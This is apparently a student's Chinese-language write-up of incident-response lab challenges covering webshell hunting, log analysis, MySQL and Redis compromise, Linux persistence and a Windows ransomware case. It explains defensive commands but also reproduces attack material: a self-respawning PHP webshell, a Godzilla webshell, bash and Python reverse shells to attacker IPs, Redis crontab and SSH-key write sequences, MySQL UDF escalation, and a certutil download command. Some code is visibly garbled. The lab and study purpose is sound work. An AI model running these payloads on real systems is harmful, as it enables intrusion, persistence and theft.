DAY1

第一章 应急响应- Linux入侵排查

知识点

·命令:

find / -name "*.php":从根目录 / 开始递归查找所有扩展名为 .php 的文件。
|:管道操作符,它把前一个命令的输出作为后一个命令的输入。
xargs grep -a "eval(":将 find 命令找到的文件名传递给 grep 命令,并搜索包含 "eval(" 的行
使用 netstat -alntup 命令可以显示所有网络连接的详细信息。这些选项的意思如下:
-a:显示所有连接(监听和非监听)。
-l:仅显示监听状态的连接。
-n:以数字形式显示 IP 地址和端口,而不是尝试解析它们。
-t:显示 TCP 连接。
-u:显示 UDP 连接。
-p:显示每个连接对应的程序 PID 和名称。

不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
内存马,就是运行一段永远不退出的程序常驻在PHP进程里,无限执行。
不死马.php—>上传到server—>server执行文件—>server本地无限循环生成
(一句话.php)

<?php
ignore_user_abort(true); //函数设置于客户机断开后,不会终止脚本的执行
set_time_limit(0); //设置脚本的最大执行时间,0代表无限制
unlink(__FILE__); //删除文件本身 (隐藏的效果)
$file = './.index.php'; //生成的一句木马的文件名
$code = '<?php if(md5($_POST[])=="e771c5bd0272757ce1a75fb6c35528cb"){@eval($_POST[]);} ?>';
//一句话木马的内容,这个是可以改变的
//pass=dhskanf 马儿用法:fuckyou.php?pass=dhskanf&v=command
while (1){
file_put_contents($file,$code);
system('touch -m -d ""2018-12-01 09:10:12" .index.php');
//touch -m 修改文件时间,让防守方无法通过find命令来找到不死马文件。
usleep(1);
}
?>
变种:
<?php
?>
while(true) {
if(md5(file_get_contents($file))===md5($code)) {
//获得文件内容与参数code进行比较,条件判断
file_put_contents($file, $code);
}
usleep(50);
}
?>

解题过程

1
2
3
4
5
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

1.

find ./ -name "*.php" | xargs -0 grep "eval("

2.

密码就是MD5解密后的结果

3.

index.php

4&&5。

看到有shell(1).elf文件,运行它
netstat -alntup 命令可以显示所有网络连接

IP和端口都在

第一章 应急响应-Linux日志分析

知识点:

命令:

使用grep,awk提取用户名
grep -a "Failed password" /var/log/auth.log | awk '{print $11}'
统计用户名出现次数:
grep -a "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

解题过程:

1
2
3
4
5
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

1.

cat /var/log/auth.log | grep -a "Failed password for root"

2.

cat /var/log/auth.log |grep -a "Accepted password"

3.

cat /var/log/auth.log | grep -a "Failed password"| awk '{print $11}'||
cat /var/log/auth.log | grep -a "Failed password" (需要找一下)

4.

cat /var/log/auth.log | grep -a "Failed password"| awk '{print $11}' | sort | uniq -c | sort -nr

5.

cat /var/log/auth.log|grep -a "new user"

DAY2

第一章 应急响应-webshell查杀

知识点

webshell和木马的区别

1
2
3
载体不同:WebShell 通常通过Web服务器进行传播和执行,而木马则通过各种方式让用户主动下载并执行。
目的不同:WebShell 主要是为了远程控制Web服务器,而木马的目的更为多样,包括数据窃取、系统破坏等。
触发方式不同:WebShell 通常由HTTP请求触发执行,而木马则是在用户的计算机上执行。

经典的哥斯拉PHP马的特征

1
2
3
4
session_start() 创建或者重启一个会话
@set_time_limit(0) 设置程序最长运行时间 永远
@error_reporting(0) 关闭错误报告
$key=xxxxxxxxx 加解密的盐值

php免杀马

1
通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现

解题过程

1
2
3
4
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

1.

find ./ -name "*.php" | xargs -0 grep "eval("使用这条命令可以看到包含eval(的php文件,然后再gz.php看到里面的flag的
也可以用D盾和火绒去扫描

2.在gz.php看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[];
$D[] = $D[]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[])){
$payload=encode($_SESSION[],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[]=encode($data,$key);
}
}
}

https://github.com/BeichenDream/Godzilla github地址

3.

同样扫出来得那个.mysqli.php就是,或者在\var\www\html\include\Db下ls -a可以看到.mysqli.php的文件

4.

根据免杀马的特征使用

find / -name "*.php" | xargs grep -a "base64_decode"可以看到

DAY3

第二章日志分析-mysql应急响应

1
http://t.csdnimg.cn/leR9J   //这篇文章讲的很清晰

知识点

反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
攻击者准备监听:
攻击者在其控制的服务器上启动一个监听程序(通常是一个Netcat或类似工具),等待目标系统主动连接。
nc -lvp 4444
这里,-l表示监听模式,-v表示冗长输出,-p指定端口。

目标系统执行恶意代码:
攻击者通过漏洞利用、社交工程等手段,在目标系统上执行恶意代码。这段代码会打开一个Shell,并尝试连接攻击者的服务器。
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
这个命令的作用是通过TCP连接攻击者的IP地址和端口,并将输入和输出重定向到这个连接上。

建立连接:
目标系统主动向攻击者的服务器发起连接请求。由于是目标系统主动连接,一般不会被防火墙阻拦。

攻击者获得Shell访问:
一旦连接建立,攻击者就可以在其控制服务器上得到一个远程Shell,能够像在本地终端一样执行命令,控制目标系统。

在MySQL里面,提权有三种方式:

·INTO OUTFILE(写入文件):写入恶意代码,生成一个webshell;

eg:
SELECT <?php system($_GET[]); ?> INTO OUTFILE '/var/www/html/shell.php';
这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

·LOAD_FILE(收集信息):读取敏感文件(读取密码)

SELECT LOAD_FILE('/etc/passwd');
这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

·udf执行系统命令

1
UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。
1
2
3
4
5
6
7
1.上传恶意共享库 lib_mysqludf_sys.so 到 MySQL 服务器的插件目录。
2.创建 UDF 函数:
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
3.使用 UDF 执行系统命令:
SELECT sys_exec('id > /tmp/output.txt');

这个命令将在 /tmp 目录下创建一个文件 output.txt,其中包含执行 id 命令的结果。

解题过程

1
2
3
4
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

1.

在/var/www/html/目录下find ./ -name "*.php" | xargs grep -a "eval("

2.

既然是反弹shell那么,黑客的ip在反弹的shell里面,我们可以通过查看mysql日志文件,主要是注意查询日志和错误日志,日志在/var/log/mysql下面看到error.log,在日志看到

这段是把1.sh文件保存下来的操作,这个文件在/tmp目录下面,我们访问一下/tmp/,ls一下就可以看到1.sh的文件,文件内容是
bash -i >&/dev/tcp/192.168.100.13/777 0>&1root@xuanji:/tmp#一个反弹shell文件内容
ip也在里面

3.

然后在这里是UDF 执行系统命令(这里是存在反弹shell,可能是通过udf把shell传上来的)
既然udf会上传一个恶意so文件上来到mysql插件目录,利用so文件实现udf,
/usr/lib/mysql/plugin/默认上传在这里,访问它

ls -a可以看到

4.

在so文件上传上来后创建udf函数,可以通过查找新增函数
select * from mysql.func
要求whoami后的值select sys_eval('whoami');

DAY4

第二章日志分析-apache日志分析

知识点

apache日志路径:

1
2
3
4
5
6
Debian/Ubuntu:
访问:/var/log/apache2/access.log
错误:/var/log/apache2/error.log
Red Hat/CentOS 系统:
访问:/var/log/httpd/access_log
错误:/var/log/httpd/error_log

浏览器指纹可以包括但不限于以下信息:

1
2
3
4
5
6
7
8
9
10
1. **User Agent(用户代理)**:浏览器发送给服务器的请求头部中包含的浏览器类型、版本、操作系统等信息。
2. **屏幕分辨率**:用户的屏幕大小和分辨率。
3. **系统字体**:用户系统中安装的字体列表。
4. **Canvas 指纹**:利用HTML5的Canvas元素生成的图像,由于不同浏览器和操作系统的渲染差异,可以生成独特的哈希值。
5. **WebGL 指纹**:使用WebGL渲染3D图形,同样可以因为渲染差异产生独特的指纹。
6. **AudioContext 指纹**:通过Web Audio API创建音频上下文,不同浏览器和设备的音频处理差异可以作为识别依据。
7. **插件信息**:如Flash、Java等插件的存在与否及其版本信息。
8. **硬件加速**:浏览器是否使用GPU进行硬件加速。
9. **语言设置**:浏览器的语言偏好设置。
10. **时区和地理位置**:用户的时区信息,有时也可以作为识别依据。

命令

1
2
3
4
5
6
7
8
9
10
11
sort -nr:

对提取出的 IP 地址进行逆序排序(-nr 表示按数值逆序排序)。

uniq -c:

统计排序后的 IP 地址的出现次数。输出结果的每一行包含两个字段:第一个字段是 IP 地址出现的次数,第二个字段是 IP 地址本身。

wc -l:

计算统计结果的行数,即不同 IP 地址的数量。

解题过程:

1
2
3
4
5
1、提交当天访问次数最多的IP,即黑客IP:
2、黑客使用的浏览器指纹是什么,提交指纹的md5:
3、查看index.php页面被访问的次数,提交次数:
4、查看黑客IP访问了多少次,提交次数:
5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:

1.

cat /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -nr

2.

这里收集的是ua头;
查看日志里的黑客ip的ua头

3.

grep '/index.php' /var/log/apache2/access.log.1 | wc -l

4.

次数在第一次查ip的时候就获得了

5.

cat access.log.1 | grep “03/Aug/2023:08:” | awk ‘{print $1}’ | sort -nr| uniq -c |wc -l

DAY5

第二章日志分析-redis应急响应*

http://t.csdnimg.cn/Qqk5M

知识点:

关于Redis的攻击手法有:

-redis未授权访问漏洞
1
redis的未授权访问漏洞的影响范围是在Redis <=5.0.5
redis主从复制getshell
419:S 通常表示这是从服务器(Slave)的日志记录。这里的 “S” 代表 “Slave”。
419:M 表示这是主服务器(Master)的日志记录。这里的 “M” 代表 “Master”。
config set dir /tmp/ //设置文件路径为/tmp/
config set dbfilename exp.so //设置数据库文件名为:exp.so
slaveof vpsip port //设置主redis地址为 vpsip,端口为 port
module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/ip/port 0>&1'
利用crontab写入定时任务反弹shell:
1
2
3
4
5
6
7
8
9
10
11
redis-cli -h 192.168.100.13 #连接

redis flushall #清除所有键值

config set dir /var/spool/cron/crontabs/ #设置保存路径

config set dbfilename shell #保存名称

set xz “\n * bash -i >& /dev/tcp/192.168.100.13/7777 0>&1\n” #将反弹shell写入xz键值

save #写入保存路径的shell文件
利用ssh-keygen 公钥登录服务器的方式:
SSH提供两种登录验证方式,一种是账号密码登录,另一种是密钥验证。
当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器,
在攻击机中申生成ssh公钥和私钥,密码设为空
ssh-keygen -t rsa
进入.ssh目录:cd .ssh/ 将生成的公钥保存到1.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h [] -x set crack
redis-cli -h 192.168.157.129
config set dir /root/.ssh       #	更改redis备份路径为ssh公钥存放目录(一般为/root/.ssh)
config set dbfilename authorized_keys  #设置上传公钥的备份文件名字为authorized_keys
config get dbfilename #检查是否更改成功
save      #保存
exit       #退出
ssh -i id_rsa root@redis的IP   #在攻击机上使用ssh免密登录靶机

解题过程:

1
2
3
4
5
1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
3.通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

1.2

先去查日志,查看redis.log,在日志里面我们看到
这里看到这个192.168.100.13这个ip,我们一直在连这个ip,但是一直被拒绝,像是在爆破
继续看到下面

大模型分析大概就是说,这一块是在进行从服务器在尝试与主服务器同步

最后连的是192.168.100.20应该就是黑客攻击成功的ip
我们把so文件down下来,放到微步云沙盒过一遍,看到是getshell文件
然后是放在010里面看到flag

3.

crontab -l分析主机的定时任务就可以看到反弹shell的IP

4.

所以我们可以去看/root/.ssh(ssh它是隐藏文件,需要ls -a才能看到他)

在github上搜索找到

flag{xj-test-user-wow-you-find-flag}

5.

cd /usr/bin ls cat ps

DAY6

第三章 权限维持-linux权限维持-隐藏

http://t.csdnimg.cn/EPO10

黑客在拿到权限之后,通常会进行权限的维持来保证自己一直能控制受害人的服务器

知识点

常见的 Linux 权限维持和隐藏方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    1.后门程序

攻击者通常会在受害系统中安装后门程序,以便在需要时重新获得访问权限。常见的后门程序包括:


2.Rootkit

Rootkit 是一种能够隐藏自身及其他恶意程序的工具。安装 Rootkit 后,攻击者可以隐藏进程、文件和网络连接,防止被系统管理员发现。

内核级 Rootkit:直接修改内核数据结构和函数,隐藏进程、文件和网络连接。
用户级 Rootkit:通过劫持系统库函数(如 ld_preload),隐藏特定进程和文件。

3.持久化机制

攻击者会使用各种持久化机制,以确保即使系统重启后也能重新获得控制权限。

修改启动脚本:在系统启动脚本中加入恶意代码,保证每次系统启动时都会执行。
crontab 定时任务:在 crontab 中添加恶意任务,定期执行恶意程序。

4.文件隐藏

攻击者会将恶意文件和工具隐藏在系统中,以防被发现。

文件名伪装:将恶意文件命名为类似系统文件的名称,如 syslogd、sshd 等。
隐藏目录:使用隐藏目录(如 . 开头的目录),将恶意文件放置其中。

5.网络连接隐藏

攻击者可能会隐藏与其控制服务器的网络连接,以防被网络管理员发现。

端口重定向:使用工具(如 iptables)重定向流量到特定端口,隐藏实际通信端口。
加密通信:使用加密协议(如 SSH、SSL)进行通信,防止流量被检测和分析。

6.日志清除

攻击者会清除或篡改系统日志,以隐藏入侵痕迹。

清除命令历史:删除或篡改 .bash_history 文件。
修改系统日志:直接修改系统日志文件(如 /var/log 下的日志),删除入侵痕迹。

7.使用合法进程

攻击者会利用合法的系统进程进行恶意活动,以隐藏其行为。

进程注入:将恶意代码注入到合法的系统进程中。
利用系统工具:使用系统自带的工具(如 netcat、curl)进行恶意操作。

这些权限维持和隐藏技术使得攻击者能够长时间保持对系统的控制权,同时降低被检测和移除的风险。

查看提权命令

1
2
3
4
5
主要查看系统日志和文件变化记录,查找以下文件可能的变动:

- `/etc/passwd`
- `/etc/sudoers`
- 具有 `SUID` 位设置的文件。
1
SUID(Set User ID)是 Unix/Linux 文件系统中的一种权限位。当文件的 SUID 位被设置时,执行该文件的用户将临时获得文件所有者的权限。这通常用于程序需要执行一些需要更高权限的操作(例如,ping 命令需要发送 ICMP 请求,因此需要 root 权限)。

find命令带上SUID:

find用于在文件系统中搜索文件。它可以根据文件名、类型、大小、修改日期等多种条件来查找文件,并且可以对找到的文件执行各种操作。当find命令配合-exec选项使用时,它允许用户执行指定的命令或脚本。
基本用法示例:
1
2
3
4
5
6
7
8
# 搜索当前目录及子目录下所有以.txt结尾的文件
find . -name "*.txt"

# 搜索当前目录及子目录下所有文件并计算文件数量
find . -type f -print | wc -l

# 搜索当前目录及子目录下所有文件并删除它们
find . -type f -exec rm {} \;
具有SUID位的find命令的风险:
SUID(Set User ID upon execution)位是一个特殊的文件权限位,当设置在可执行文件上时,允许该程序以文件所有者的权限运行,而不是以执行该程序的用户权限运行。如果find命令具有SUID位,那么即使它被普通用户执行,它也会以find文件所有者的权限来运行。
这意味着,如果find命令配置不当,恶意用户可能会利用它来执行具有更高权限的操作,例如:
  1. 覆盖系统文件:通过-exec选项,用户可以找到特定的系统文件并用恶意内容覆盖它们。

  2. 删除重要文件:用户可以搜索并删除关键的系统或用户文件。

  3. 执行恶意脚本:用户可以利用find来执行具有SUID位的恶意脚本,从而获得更高权限的访问。

安全措施:
  • 不要给find命令设置SUID位:确保find命令没有设置SUID位,以避免潜在的安全风险。

  • 限制使用:在多用户系统中,限制对find命令的访问,特别是通过-exec选项的使用。

  • 监控和审计:监控使用find命令的活动,特别是当它与-exec一起使用时,以检测任何可疑行为。

  • 教育用户:教育用户关于安全使用命令行工具的重要性,以及潜在的风险。

举例:
假设find命令具有SUID位,一个恶意用户可能会执行以下命令:
1
2
# 搜索当前目录及子目录下所有文件,并尝试以root权限执行它们
find / -type f -exec /bin/chown root:root {} \;

这个命令会尝试改变系统中所有文件的所有者为root用户,这是一个潜在的危险操作,可能会破坏系统的安全性和稳定性。

解题过程:

1
2
3
4
5
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.

使用find / -name '.*'来找到隐藏的文件,看到

tmp通常是放临时文件的目录,.开头的通常是隐藏文件/目录

在/tmp/.temp/libprocesshider看到libprocesshider(看的出来,内部文件主要是为了隐藏动态链接库进程之类的)

分析文件1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)

while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call([])
sdregs.close()
except Exception:
pass
time.sleep(2)
#这段Python脚本是一个反弹shell程序,其目的是创建一个守护进程,连接到远程服务器

shell.py

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF INET,socket.SOCK STREAM)s.connect(("172.16.10.7",2220))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run([])
#同样是一个反弹shell程序但是没有守护进程

processhider.c

1
该文件是用于隐藏某个程序进程的,在这里可以看到,隐藏的是1.py的,就是我们想得

2.

脚本分析在另外一个md里面

1.py和shell.py都是隐藏文件,1.py是一个更为复杂和健壮的后门脚本,具有错误处理和重连机制,并且能够作为守护进程运行。shell.py则更为简洁,但它没有守护进程的特性,也没有错误处理和重连机制。而且1.py的进程被隐藏了,所以对比之下,1.py才是黑客的攻击的ip

3.

使用find / -perm -u=s -type f 2>/dev/null查找系统上所有设置了 SUID 位的文件,看到以下文件设置了SUID位
我们使用ls -l /usr/bin/find看到
1
2
3
4
5
6
7
-rwsr-xr-x - 这是文件的权限部分,每个字符有特定的含义:

第一个字符 - 表示这是一个普通文件。
接下来的三个字符 rws 表示文件所有者的权限。r 代表可读(read),w 代表可写(write),s 代表当执行时设置用户ID(set user ID)。
紧随其后的三个字符 r-x 表示与文件所有者同组的用户的权限。r 代表可读,- 表示不可写,x 代表可执行。
最后三个字符 r-x 表示其他用户的权限,同样是可读和可执行,但不可写。
以及root root表示了文件的所有者都是root
所以这里就是被提权了

4.

黑客使用的工具,我们去查看opt目录,一般这里放着存放可选的、占用空间较大的第三方软件和应用程序

/opt/.cymothoa-1-beta/cymothoa

5.

(这里我还不太清楚题目的意思,但是好像是找运行1.py的python路径)

DAY7

第四章 windows实战-emlog

做完还不是很明白,不太明白是怎么攻击的

知识点

http://t.csdnimg.cn/Ohaj9 windows应急

解题过程

1.通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交;

连上远程桌面之后看到phpstudy,就是可以帮我们搭建网站什么的,我们可以去分析一下网站根目录,直接到根目录复制到我们本机里面,D盾扫一下看到了后门

2.通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

分析攻击者ip,可以去看访问日志,这里是用apache开的服务,因为Nginx下我没看到日志,黑客是上传了个shell.php利用这个后门,直接在日志搜shell就能看到

3.通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交;

在C盘下的用户这里就能看到
但是好像是用eventvwr.msc去看windows日志,然后分析来着

4.通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交;

点进那个hacker138$看到一个Kuang的exe文件,得知道那个exe文件里面写的是什么,就会用到一个工具,先把exe文件变成pyc文件,然后pyc反编译看到代码

工具:https://github.com/extremecoders-re/pyinstxtractor
教程:http://t.csdnimg.cn/9wMUw
得到pyc文件之后然后再反编译,这里我用的在线工具得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import multiprocessing
import requests

def cpu_intensive_task():

try:
requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',))
finally:
continue
continue

continue

if __name__ == '__main__':
cpu_count = multiprocessing.cpu_count()
processes = (lambda .0: [])(range(cpu_count))
for process in processes:
process.start()
for process in processes:
process.join()

http://wakuang.zhigongshanfang.top这个就是矿池域名

DAY8

第四章 windows实战-wordpress

解题过程

1.请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss}

RDP连接到远程桌面之后,打开phpstudy打开根目录,然后找到phpstudy的位置,既然是找黑客攻击的目录,我们先去分析访问服务器的日志,打开日志前面都是黑客使用工具爆破然后welcome.php里面显示200

2.请提交攻击者的浏览器版本 flag{Firgfox/2200}

分析日志得到flag{Firefox/110.0}

3.请提交攻击者目录扫描所使用的工具名称

分析日志得到flag{Fuzz Faster U Fool}

4.找到攻击者写入的恶意后门文件,提交文件名(完整路径)

将www目录down下来可以,用D盾扫面得到
!
flag{C:\phpstudy_pro\WWW.x.php}

5.找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}

6.请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe}

这里不太明白,具体是在windows下找到360.exe文件,运行之后生成了x.bat
flag{x.bat}

DAY9

第四章 windows实战-向日葵

知识点:

解题过程:

1.通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);

找第一次攻击成功的时间,我们去去分析日志,因为是首次我们先从第时间最早的日志分析
可以看到这里是黑客进行的一些攻击的姿势,模板注入,sql注入,rce一些的,一直往下看分析可以看到这里其实一直没拿到shell,继续分析,可以看到到老后面
1
2
分析:
攻击者使用..来尝试遍历目录结构,到达Windows系统的system32目录,然后执行WindowsPowerShell\v1.0\powershell.exe,去执行命令
在这之后攻击者的姿势也就不变了,利用这个去执行whomi,pwd一些命令,还有如下面代码块
1
2024-03-26 10:16:25.585	- Info  -	[][] new RC HTTP connection 192.168.31.45:64247,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, plugin:check, session:dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
所以这里是首次攻击成功的地方
flag{2024-03-26 10:16:25.585}

2.通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;

在之前分析的时候就已经知道了
1
[][] new acceptor 192.168.31.45:64246-->192.168.31.114:49724
flag{192.168.31.45}

3.通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;

我们继续往下分析黑客的攻击手法
1
2
3
4
分析:
利用certutil来下载并执行远程文件的攻击
构造一个恶意的HTTP GET请求,尝试从远程地址http://192.168.31.249/main.exe下载一个名为main.exe的可执行文件,并在目标机器上执行。
powershell.exe -command "certutil -urlcache -split -f http://192.168.31.249/main.exe"
flag{192.168.31.249}

4.找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;

DEC…..=decode,这个文件真没找到,继续分析日志
这个操作是把一串数字加入了qq.txt文件,就试着加一下这个qq号,是玄机的官方群,在群文件看到了DEC.pem,文件内部是一个私钥,用在线工具把文件MD5加密
flag{5ad8d202f80202f6d31e077fc9b0fc6b}

5.通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;

桌面上有两个文件
1
2
3
4
5
6
baoleiji.txt.banana
N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w=

Your files have been encrypted

0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4=
1
2
3
4
5
6
desktop.ini.banana
onEDpnamFbekYxixEQ30W6ZcEXjCUrKHP+APxzuJQZD8bS+4V5Tu+7XmxT24EuNSfoGnda+obAmy2d1E2WT/0MmT4VHNIUyX15JuOcd477c7Zj5v3qtzoJk8Rmtub9RL0vDDjwYKPzyS4wxSyqhRfggenLiSFxhrY32nnf42W30=

Your files have been encrypted

X6cNmnKCuxdTl+f5XLhmYY4oFovJGebCmpP94be/VVqNQe0cLJm3RtX84MO98b8fI0zY50xC4OjK5aHOz2zFxCvxHygFR+rIgL0XC2rruzCAukTLJqjjbNRH06alTMMdrxhRVdrC73PMBQBweyProof4ZYNZ4YHnZrej6Vq/Ipr2xeUqamHkysjFPNqA8DVDuXYYlTUuDzZdPZpWM3IDbUDMNi4ilrPEe47IXAxd8nrqTHgX+3X7YiOjuayqK8li2c2xMXoXuSce+rAeNsWHv9SUEqUTP+MJHll7MGYLZSvYpkCVacP3joKJoI/bfoVRX8FlCuCMkicFnTawY0ZxKiX7f+0Wv+KYP0st5SYjWhMWklNSEEG7TH24wZeCANjf
在文本Your files have been encrypted前面的是RSA加密文本,后面是RSA,利用之前的得到的私钥对rsa解密,得到AES的密钥

[]: https://the-x.cn/cryptography/Aes.aspx
[]: https://tool.ip138.com/rsa/

解密后
1
2
3
4
5
6
@suanve
时间是连续的,年份只是人类虚构出来用于统计的单位,2024年第一天和2023年最后一天,
不会有任何本质区别。你的花呗,你的客户,你的体检报告,窗外的寒风,都不会因为这是新的一年,
而停下对你的毒打。
GIVE YOU FLAG!!!!!
flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
1
2
3
4
5
desktop.ini.banana
[]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
IconResource=%SystemRoot%\system32\imageres.dll,-183

flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}

DAY10

第六章 流量特征分析-常见攻击事件 tomcat

解题过程:

1
2
3
4
5
6
7
1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP  flag格式:flag{ip},如:flag{127.0.0.1}
2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
